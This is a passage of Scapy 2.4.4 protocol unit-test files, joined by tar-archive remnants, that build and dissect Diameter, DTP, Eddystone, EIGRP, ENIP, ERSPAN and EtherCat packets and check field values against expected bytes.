raw(r1) == b'\x01\x00\x00\x14\x80\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' = Unknown request by its name ur = DiamReq ('Unknown') raw(ur) == b'\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = The same one identified by its code r1b = DiamReq (257, drHbHId=1234, drEtEId=5678) raw(r1b) == raw(r1) = Unknown request by its code ur = DiamReq (0) raw(ur) == b'\x01\x00\x00\x14\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = The same one identified by its abbreviation * Only the first 2 abbreviation letters are significant (although 3 are provided in this example) r1c = DiamReq ('CER', drHbHId=1234, drEtEId=5678) raw(r1c) == raw(r1) = Altering the request default fields r2 = DiamReq ('CER', drHbHId=1234, drEtEId=5678, drFlags=179, drAppId=978, drLen=12) r2.show() raw(r2) == b'\x01\x00\x00\x0c\xb3\x00\x01\x01\x00\x00\x03\xd2\x00\x00\x04\xd2\x00\x00\x16.' = Altering the default request fields with string r2b = DiamReq ('CER', drAppId="1") r2b.show() raw(r2b) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x01\x00\x00$\x00\x00\x00\x00\x00\x00\x00\x00' = Altering the default request fields with invalid string r2be = DiamReq ('CER', drAppId="-1") r2be.show() raw(r2be) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' ####################################################################### + Diameter Answers (without AVPs) ####################################################################### = A simple answer identified by its name ans1 = DiamAns ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) ans1.show() raw(ans1) == b'\x01\x00\x00\x14\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x04\xd2\x00\x00\x16.' = Same answer identified by its code or abbreviation ans1b = DiamAns (257, drHbHId=1234, drEtEId=5678) ans1c = DiamAns ('CEA', drHbHId=1234, drEtEId=5678) a = raw(ans1b) == raw(ans1) b = raw(ans1c) == raw(ans1) a, b assert a and b = Altering the answer default fields ans2 = DiamAns ('CEA', drHbHId=1234, drEtEId=5678, drFlags=115, drAppId=1154, drLen=18) ans2.show() raw(ans2) == b'\x01\x00\x00\x12s\x00\x01\x01\x00\x00\x04\x82\x00\x00\x04\xd2\x00\x00\x16.' ####################################################################### + Full Diameter messages ####################################################################### = A dummy Multimedia-Auth request (identified by only a portion of its name) r3 = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [a11]) r3.show() raw(r3) == b'\x01\x00\x01\x04\xc0\x00\x01\x1e\x00\x00\x00\x06\x00\x00Tx\x00\x00\x124\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = The same request built from scratch r3b = DiamReq ('Multimedia-Auth', drHbHId=0x5478, drEtEId=0x1234, avpList = [ AVP ('SIP-Auth', val = [ AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), AVP ('Feature-List-ID', val=1), AVP ('Supported-Features', val = [ AVP ('High-User-Priority', val=15), AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ]), AVP ('Server-Cap', val = [ AVP ('High-User-Priority', val=15), AVP (297, val = [ AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587'), AVP ('Feature-List-ID', val=1), AVP (283, avpLen=33, val='foreign.realm1.fr') ]) ]) ]) ]) raw(r3b) == raw(r3) scapy-2.4.4/test/contrib/dtp.uts000066400000000000000000000016731372370053500166170ustar00rootroot00000000000000+ DTP Contrib tests = Basic DTP build pkt = DTP(tlvlist=[DTPNeighbor(neighbor='00:11:22:33:44:55'), DTPDomain(domain=b"\x01\x02\x03")]) assert raw(pkt) == b'\x01\x00\x04\x00\n\x00\x11"3DU\x00\x01\x00\x07\x01\x02\x03' = Basic DTP dissection pkt = Ether(b'\x01\x00\x0c\xcc\xcc\xcc\xd0P\x99V\xdd\xf9\x00"\xaa\xaa\x03\x00\x00\x0c \x04\x01\x00\x03\x00\x05\xa5\x00\x04\x00\n\xaa\xbb\xcc\xdd\xee\xff\x00\x01\x00\x05\x00\x00\x02\x00\x05\x03') assert DTP in pkt assert pkt[DTP].tlvlist[0].dtptype == b'\xa5' assert pkt[DTP].tlvlist[1].neighbor == 'aa:bb:cc:dd:ee:ff' assert pkt[DTP].tlvlist[2].domain == b'\x00' assert pkt[DTP].tlvlist[3].status == b'\x03' = Test negotiate_trunk import mock def test_pkt(pkt): pkt = Ether(raw(pkt)) assert DTP in pkt assert len(pkt[DTP].tlvlist) == 4 print("Succeed") @mock.patch("scapy.contrib.dtp.sendp", side_effect=test_pkt) def _test_negotiate_trunk(m): negotiate_trunk() _test_negotiate_trunk() scapy-2.4.4/test/contrib/eddystone.uts000066400000000000000000000027771372370053500200340ustar00rootroot00000000000000# Eddystone unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('eddystone')" -t test/contrib/eddystone.uts + Eddystone tests = Setup def expect_exception(e, c): try: c() return False except e: return True = Eddystone URL (decode EIR) d = hex_bytes('0c16aafe10040373636170790a') p = EIR_Hdr(d) p.show() assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa assert p[Eddystone_URL].to_url() == b'https://scapy.net' = Eddystone URL (decode LE Set Advertising Data) d = hex_bytes('01082020140201020303aafe0c16aafe10040373636170790a0000000000000000000000') p = HCI_Hdr(d) assert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa assert p[Eddystone_URL].to_url() == b'https://scapy.net' = Eddystone URL (encode frames) d = raw(Eddystone_URL.from_url('https://scapy.net')) assert d == hex_bytes('10000373636170790a') d = raw(Eddystone_URL.from_url('https://www.scapy.net')) assert d == hex_bytes('10000173636170790a') # Include some other .extensions in the path d = raw(Eddystone_URL.from_url('http://www.example.com/hello.info.html')) assert d == hex_bytes('1000006578616d706c650068656c6c6f0b2e68746d6c') = Eddystone URL (encode unsupported scheme) assert(expect_exception(Exception, lambda: Eddystone_URL.from_url('gopher://example.com'))) = Eddystone URL (encode advertising report) p = Eddystone_URL.from_url('https://scapy.net').build_advertising_report() assert raw(p[EIR_ServiceData16BitUUID]) == hex_bytes('aafe10000373636170790a') scapy-2.4.4/test/contrib/eigrp.uts000066400000000000000000000202201372370053500171230ustar00rootroot00000000000000% EIGRP Tests * Tests for the Scapy EIGRP layer + Basic Layer Tests * These are just some basic tests = EIGRP IPv4 Binding ~ eigrp_ipv4_binding p = IP()/EIGRP() p[IP].proto == 88 = EIGRP IPv6 Binding ~ eigrp_ipv6_binding p = IPv6()/EIGRP() p[IPv6].nh == 88 = EIGRP checksum field ~ eigrp_chksum_field p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100) s = p[EIGRP].build() struct.unpack("!H", s[2:4])[0] == 64843 + Custom Field Tests * Test funciontally of custom made fields = ShortVersionField nice representation f = ShortVersionField("ver", 3072) f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2" = ShortVersionField h2i function f = ShortVersionField("ver", 0) f.h2i(None, 3073) == f.h2i(None, "v12.1") = ShortVersionField error try: f = ShortVersionField("ver", None) f.h2i(None, "Error") assert False except Scapy_Exception: assert True f = ShortVersionField("ver", "default") assert f.h2i(None, "Error") == "default" assert f.i2repr(None, "Error") == "unknown" assert f.randval() <= 65535 = EigrpIPField length with prefix length of 8 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=8) assert f.m2i(None, b"\x01") == '1.0.0.0' assert f.i2m(None, "1.0.0.0") == b"\x01" assert f.i2len(None, "") == 1 = EigrpIPField length with prefix length of 12 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=12) assert f.m2i(None, b"\x01\x02") == '1.2.0.0' assert f.i2len(None, "") == 2 = EigrpIPField length with prefix length of 24 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=24) assert f.m2i(None, b"\x01\x02\x03") == '1.2.3.0' assert f.i2len(None, "") == 3 = EigrpIPField length with prefix length of 28 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=28) assert f.m2i(None, b"\x01\x02\x03\x04") == '1.2.3.4' assert f.i2len(None, "") == 4 = EigrpIPField randval assert inet_pton(socket.AF_INET, f.randval()) = EigrpIP6Field length with prefix length of 8 bit f = EigrpIP6Field("ipaddr", "2000::", length=8) f.i2len(None, "") == 2 = EigrpIP6Field length with prefix length of 99 bit f = EigrpIP6Field("ipaddr", "2000::", length=99) f.i2len(None, "") == 13 = EigrpIP6Field length with prefix length of 128 bit f = EigrpIP6Field("ipaddr", "2000::", length=128) f.i2len(None, "") == 16 = EigrpIP6Field randval assert inet_pton(socket.AF_INET6, f.randval()) = EIGRPGuessPayloadClass function: Return Parameters TLV from scapy.contrib.eigrp import _EIGRPGuessPayloadClass isinstance(_EIGRPGuessPayloadClass(b"\x00\x01"), EIGRPParam) = EIGRPGuessPayloadClass function: Return Authentication Data TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x02"), EIGRPAuthData) = EIGRPGuessPayloadClass function: Return Sequence TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x03"), EIGRPSeq) = EIGRPGuessPayloadClass function: Return Software Version TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x04"), EIGRPSwVer) = EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x05"), EIGRPNms) = EIGRPGuessPayloadClass function: Return Stub Router TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x06"), EIGRPStub) = EIGRPGuessPayloadClass function: Return Internal Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x01\x02"), EIGRPIntRoute) = EIGRPGuessPayloadClass function: Return External Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x01\x03"), EIGRPExtRoute) = EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x04\x02"), EIGRPv6IntRoute) = EIGRPGuessPayloadClass function: Return IPv6 External Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x04\x03"), EIGRPv6ExtRoute) = EIGRPGuessPayloadClass function: Return EIGRPGeneric isinstance(_EIGRPGuessPayloadClass(b"\x23\x42"), EIGRPGeneric) + TLV List = EIGRP parameters and software version p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()]) s = b'\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02' raw(p) == s = EIGRP Sequence p = EIGRP(tlvlist=[EIGRPSeq(addrlen=16, ip6addr="45e4:0ecf:cff3:7be2:6059:771e:a221:3342")]) assert raw(p) == b'\x02\x05\x881\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x03\x00\x15\x10E\xe4\x0e\xcf\xcf\xf3{\xe2`Yw\x1e\xa2!3B' p = EIGRP(raw(p)) assert p.tlvlist[0].ip6addr == "45e4:ecf:cff3:7be2:6059:771e:a221:3342" = EIGRP Generic p = EIGRP(opcode=5, ack=1, flags="init", tlvlist=[EIGRPGeneric(value=b"data"), EIGRPGeneric(value=b"doto")]) p = EIGRP(raw(p)) assert p.tlvlist[1].value == b"doto" assert p.tlvlist[1].len == 8 assert p.summary() == 'EIGRP (AS=100 Opcode=Hello (ACK) Flags=init)' = EIGRP internal route length field p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")]) struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28 p = IP(raw(p)) assert p.tlvlist[0].prefixlen == 24 assert p.tlvlist[0].dst == "192.168.1.0" = EIGRP external route length field p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")]) struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47 = EIGRPv6 internal route length field p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")]) struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46 p = IP(raw(p)) assert p.tlvlist[0].prefixlen == 64 assert p.tlvlist[0].dst == "2000::" = EIGRPv6 external route length field p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")]) struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70 + Stub Flags * The receive-only flag is always set, when a router anounces itself as stub router. = Receive-Only p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")]) p[EIGRPStub].flags == 0x0008 = Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")]) p[EIGRPStub].flags == 0x0009 = Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")]) p[EIGRPStub].flags == 0x000a = Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")]) p[EIGRPStub].flags == 0x000c = Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")]) p[EIGRPStub].flags == 0x000d = Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")]) p[EIGRPStub].flags == 0x000e = Redistributed, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")]) p[EIGRPStub].flags == 0x0019 = Redistributed, Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")]) p[EIGRPStub].flags == 0x001a = Redistributed, Static, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")]) p[EIGRPStub].flags == 0x001b = Redistributed, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")]) p[EIGRPStub].flags == 0x001c = Redistributed, Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")]) p[EIGRPStub].flags == 0x001d = Connected, Redistributed, Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")]) p[EIGRPStub].flags == 0x001f = Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")]) p[EIGRPStub].flags == 0x0028 = Connected, Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")]) p[EIGRPStub].flags == 0x0029 + Routing Updates = External route flag external p = EIGRPExtRoute(flags="external") p.flags == 0x1 = External route flag candidate-default route p = EIGRPExtRoute(flags="candidate-default") p.flags == 0x2 = Multiple internal routing updates p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()]) p[EIGRPIntRoute:2].hopcount == 12 = Multiple external routing updates p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()]) p[EIGRPExtRoute:2].mtu == 23 + Authentication Data TLV = Verify keysize calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc")]) p[EIGRPAuthData].build()[6:8] == b"\x00\x03" = Verify length calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc\xdd")]) p[EIGRPAuthData].build()[2:4] == b"\x00\x1c" scapy-2.4.4/test/contrib/enipTCP.uts000066400000000000000000000137241372370053500173320ustar00rootroot00000000000000%ENIP Tests +Syntax check = Import the enip layer from scapy.contrib.enipTCP import * #from scapy.all import * + Test ENIP/TCP Encapsulation Header = Encapsulation Header Default Values pkt=ENIPTCP() assert(pkt.commandId == None) assert(pkt.length == 0) assert(pkt.session == 0) assert(pkt.status == None) assert(pkt.senderContext == 0) assert(pkt.options == 0) + ENIP List Services = ENIP List Services Reply Command ID pkt=ENIPTCP() pkt.commandId=0x4 assert(pkt.commandId == 0x4) = ENIP List Services Reply Default Values pkt=pkt/ENIPListServicesReply() assert(pkt[ENIPListServicesReply].itemCount == 0) = ENIP List Services Reply Items Default Values pkt=pkt/ENIPListServicesReplyItems() assert(pkt[ENIPListServicesReplyItems].itemTypeCode == 0) assert(pkt[ENIPListServicesReplyItems].itemLength == 0) assert(pkt[ENIPListServicesReplyItems].version == 1) assert(pkt[ENIPListServicesReplyItems].flag == 0) assert(pkt[ENIPListServicesReplyItems].serviceName == None) + ENIP List Identity = ENIP List Identity Reply Command ID pkt=ENIPTCP() pkt.commandId=0x63 assert(pkt.commandId == 0x63) = ENIP List Identity Reply Default Values pkt=pkt/ENIPListIdentityReply() assert(pkt[ENIPListIdentityReply].itemCount == 0) = ENIP List Identity Reply Items Default Values pkt=pkt/ENIPListIdentityReplyItems() assert(pkt[ENIPListIdentityReplyItems].itemTypeCode == 0) assert(pkt[ENIPListIdentityReplyItems].itemLength == 0) assert(pkt[ENIPListIdentityReplyItems].itemData == b'') + ENIP List Interfaces = ENIP List Interfaces Reply Command ID pkt=ENIPTCP() pkt.commandId=0x64 assert(pkt.commandId == 0x64) = ENIP List Interfaces Reply Default Values pkt=pkt/ENIPListInterfacesReply() assert(pkt[ENIPListInterfacesReply].itemCount == 0) = ENIP List Interfaces Reply Items Default Values pkt=pkt/ENIPListInterfacesReplyItems() assert(pkt[ENIPListInterfacesReplyItems].itemTypeCode == 0) assert(pkt[ENIPListInterfacesReplyItems].itemLength == 0) assert(pkt[ENIPListInterfacesReplyItems].itemData == b'') + ENIP Register Session = ENIP Register Session Command ID pkt=ENIPTCP() pkt.commandId=0x65 assert(pkt.commandId == 0x65) = ENIP Register Session Default Values pkt=pkt/ENIPRegisterSession() assert(pkt[ENIPRegisterSession].protocolVersion == 1) assert(pkt[ENIPRegisterSession].options == 0) = ENIP Register Session Request registerSessionReqPkt = b'\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00' pkt = ENIPTCP(registerSessionReqPkt) assert(pkt.commandId == 0x65) assert(pkt.length == 4) assert(pkt.session == 0) assert(pkt.status == 0) assert(pkt.senderContext == 0) assert(pkt.options == 0) assert(pkt[ENIPRegisterSession].protocolVersion == 1) assert(pkt[ENIPRegisterSession].options == 0) = ENIP Register Session Reply registerSessionRepPkt = b'\x65\x00\x04\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00' pkt = ENIPTCP(registerSessionRepPkt) assert(pkt.commandId == 0x65) assert(pkt.length == 4) assert(pkt.session == 0xa14e9a7b) assert(pkt.status == 0) assert(pkt.senderContext == 0) assert(pkt.options == 0) assert(pkt[ENIPRegisterSession].protocolVersion == 1) assert(pkt[ENIPRegisterSession].options == 0) + ENIP Send RR Data = ENIP Send RR Data Command ID pkt=ENIPTCP() pkt.commandId=0x6f assert(pkt.commandId == 0x6f) = ENIP Send RR Data Default Values pkt=pkt/ENIPSendRRData() assert(pkt[ENIPSendRRData].interfaceHandle == 0) assert(pkt[ENIPSendRRData].timeout == 0) assert(pkt[ENIPSendRRData].encapsulatedPacket == None) = ENIP Send RR Data Request sendRRDataReqPkt = b'\x6f\x00\x3e\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x2e\x00' pkt = ENIPTCP(sendRRDataReqPkt) assert(pkt.commandId == 0x6f) assert(pkt.length == 62) assert(pkt.session == 0xa14e9a7b) assert(pkt.status == 0) assert(pkt.senderContext == 0) assert(pkt.options == 0) assert(pkt[ENIPSendRRData].interfaceHandle == 0) assert(pkt[ENIPSendRRData].timeout == 0) assert(pkt[EncapsulatedPacket].itemCount == 2) = ENIP Send RR Data Reply sendRRDataRepPkt = b'\x6f\x00\x2e\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x1e\x00' pkt = ENIPTCP(sendRRDataRepPkt) assert(pkt.commandId == 0x6f) assert(pkt.length == 46) assert(pkt.session == 0xa14e9a7b) assert(pkt.status == 0) assert(pkt.senderContext == 0) assert(pkt.options == 0) assert(pkt[ENIPSendRRData].interfaceHandle == 0) assert(pkt[ENIPSendRRData].timeout == 1024) assert(pkt[EncapsulatedPacket].item[0].typeId == 0) assert(pkt[EncapsulatedPacket].item[0].length == 0) assert(pkt[EncapsulatedPacket].item[1].typeId == 0x00b2) assert(pkt[EncapsulatedPacket].item[1].length == 30) + ENIP Send Unit Data = ENIP Send Unit Data Command ID pkt=ENIPTCP() pkt.commandId=0x70 assert(pkt.commandId == 0x70) = ENIP Send Unit Data Default Values pkt=pkt/ENIPSendUnitData() assert(pkt[ENIPSendUnitData].interfaceHandle == 0) assert(pkt[ENIPSendUnitData].timeout == 0) assert(pkt[ENIPSendUnitData].encapsulatedPacket == None) = ENIP Send Unit Data sendUnitDataPkt = b'\x70\x00\x2d\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xa1\x00\x04\x00\xcc\x60\x9a\x7b\xb1\x00\x19\x00\x01\x00' pkt = ENIPTCP(sendUnitDataPkt) assert(pkt.commandId == 0x70) assert(pkt.length == 45) assert(pkt.session == 0xa14e9a7b) assert(pkt.status == 0) assert(pkt.senderContext == 0) assert(pkt.options == 0) assert(pkt[ENIPSendUnitData].interfaceHandle == 0) assert(pkt[ENIPSendUnitData].timeout == 0) assert(pkt[EncapsulatedPacket].itemCount == 2) assert(pkt[EncapsulatedPacket].item[0].typeId == 0x00a1) assert(pkt[EncapsulatedPacket].item[0].length == 4) assert(pkt[EncapsulatedPacket].item[0].data == b'\x7b\x9a\x60\xcc') assert(pkt[EncapsulatedPacket].item[1].typeId == 0x00b1) assert(pkt[EncapsulatedPacket].item[1].length == 25) assert(pkt[EncapsulatedPacket].item[1].data == b'\x00\x01') scapy-2.4.4/test/contrib/erspan.uts000066400000000000000000000021511372370053500173100ustar00rootroot00000000000000% ERSPAN + ERSPAN I = Build & dissect ERSPAN 1 pkt = GRE()/ERSPAN_I()/Ether() pkt = GRE(bytes(pkt)) assert ERSPAN in pkt assert pkt.proto == 0x88be assert pkt.seqnum_present == 0 + ERSPAN II = Build ERSPAN II pkt = GRE()/ERSPAN_II()/Ether(src="11:11:11:11:11:11", dst="ff:ff:ff:ff:ff:ff") b = bytes(pkt) assert b == b'\x10\x00\x88\xbe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x11\x11\x11\x11\x11\x11\x90\x00' = Dissect ERSPAN II pkt = GRE(b) assert pkt[GRE].proto == 0x88be assert pkt[GRE].seqnum_present == 1 assert pkt[GRE][ERSPAN].ver == 0 assert pkt[Ether].src == "11:11:11:11:11:11" + ERSPAN III = Build & dissect ERSPAN III with platform specific pkt = GRE()/ERSPAN_III()/ERSPAN_PlatformSpecific()/Ether() pkt = GRE(bytes(pkt)) assert pkt[GRE].proto == 0x22eb assert pkt[ERSPAN_III].o == 1 assert ERSPAN_PlatformSpecific in pkt assert Ether in pkt = Build & dissect ERSPAN III without platform specific pkt = GRE()/ERSPAN_III()/Ether() pkt = GRE(bytes(pkt)) assert pkt[GRE].proto == 0x22eb assert pkt[ERSPAN_III].o == 0 assert ERSPAN_PlatformSpecific not in pkt assert Ether in pkt scapy-2.4.4/test/contrib/ethercat.uts000066400000000000000000000162401372370053500176230ustar00rootroot00000000000000% EtherCat test campaign # # execute test: # $ test/run_tests -P "load_contrib('ethercat')" -t test/contrib/ethercat.uts # + LEBitFields = regression test TEST_SAMPLE_ENUM = { 0x01: 'one', 0x02: 'two', 0x03: 'three', 0x04: 'four', 0x05: 'five', 0x06: 'six', 0x07: 'seven' } class BitFieldUserExampleLE(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), LEBitField('c', 0, 5), LEBitField('d', 0, 23), ] class BitFieldUserExample(Packet): fields_desc = [ BitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), BitField('b', 0, 18), BitField('c', 0, 5), BitField('d', 0, 23), ] test_data = [ { 'a':0x01, 'b':0x00, 'c':0x00, 'd':0x123456 }, { 'a': 0x00, 'b': 0b111111111111111111, 'c': 0x00, 'd': 0x112233 }, { 'a': 0x00, 'b': 0x00, 'c': 0x01, 'd': 0x00 }, ] for data in test_data: bf_le = BitFieldUserExampleLE(**data) bf = BitFieldUserExample(**data) # rebuild big-endian and little-endian bitfields from its own binary expressions bf_le = BitFieldUserExampleLE(bf_le.do_build()) bf = BitFieldUserExample(bf.do_build()) ''' disabled as only required for 'visual debugging' from scapy.compat import raw # dump content for debugging bitstr = '' hexstr = '' for i in bytearray(raw(bf)): bitstr += '{:08b} '.format(i) hexstr += '{:02x} '.format(i) print('BE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) bitstr = '' hexstr = '' for i in bytearray(raw(bf_le)): bitstr += '{:08b} '.format(i) hexstr += '{:02x} '.format(i) print('LE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) ''' # compare values for key in data: assert(getattr(bf,key) == data[key]) assert (getattr(bf_le, key) == data[key]) = Avoid mix of LEBitFields and BitFields TEST_SAMPLE_ENUM = { 0x01: 'one', 0x02: 'two', 0x03: 'three', 0x04: 'four', 0x05: 'five', 0x06: 'six', 0x07: 'seven' } class MissingFieldSameLEFieldTypes(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), ] try: frm = MissingFieldSameLEFieldTypes().build() assert False except LEBitFieldSequenceException: pass class MissingFieldDifferentLEFieldTypes(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), ] try: frm = MissingFieldDifferentLEFieldTypes().build() assert False except LEBitFieldSequenceException: pass class MixedBitFieldTypesLEBE(Packet): fields_desc = [ LEBitField('a', 0, 12), BitField('b', 0, 4), ] try: frm = MixedBitFieldTypesLEBE().build() assert False except LEBitFieldSequenceException: pass class MixedBitFieldTypesBELE(Packet): fields_desc = [ BitField('b', 0, 4), LEBitField('a', 0, 12), ] try: frm = MixedBitFieldTypesBELE().build() assert False except LEBitFieldSequenceException: pass ################################################ + EtherCat header layer handling = EtherCat and padding frm = Ether() / EtherCat() # even with padding the length must be zero # the Ether(do_build()) forces the calculation of all (post_build generated) fields frm = Ether(frm.do_build()) assert(frm[EtherCat].length == 0) assert(len(frm) == 60) frm = Ether()/Dot1Q()/Dot1Q()/EtherCat() frm = Ether()/EtherCat() assert(len(frm) == 60) frm = Ether(frm.do_build()) assert(frm[EtherCat].length == 0) = EtherCat and RawPayload frm=Ether()/EtherCat()/Raw(b'0123456789') assert(len(frm) == 60) frm = Ether(frm.do_build()) assert(frm[EtherCat].length == 10) frm = Ether()/EtherCat()/Raw(b'012345678901234567890123456789012345678901234567890123456789') frm = Ether(frm.do_build()) assert(len(frm) == 76) assert(frm[EtherCat].length == 60) = EtherCat - test invalid length detection nums_11_bits = [random.randint(0, 65535) & 0b11111111111 for dummy in range(0, 23)] nums_4_bits = [random.randint(0, 16) & 0b1111 for dummy in range(0, 23)] frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[1]*2035, c=1) frm = Ether(frm.do_build()) assert(frm[EtherCat].length == 2047) assert(len(frm[EtherCatAPRD].data) == 2035) assert(frm[EtherCatAPRD].c == 1) data_oversized = False try: frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2048, c=1) frm = Ether(frm.do_build()) except ValueError as err: data_oversized = True assert('data size' in str(err)) assert(data_oversized == True) dlpdu_oversized = False try: frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2036, c=1) frm = Ether(frm.do_build()) except ValueError as err: dlpdu_oversized = True assert('EtherCat message' in str(err)) assert(dlpdu_oversized == True) frm = Ether()/EtherCat(_reserved=1)/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[3], c=0) frm = Ether(frm.do_build()) assert(frm[EtherCatAPRD].c == 0) assert(frm[EtherCat]._reserved == 0) = EtherCat and Type12 DLPDU layers for type_id in EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES: data = [random.randint(0, 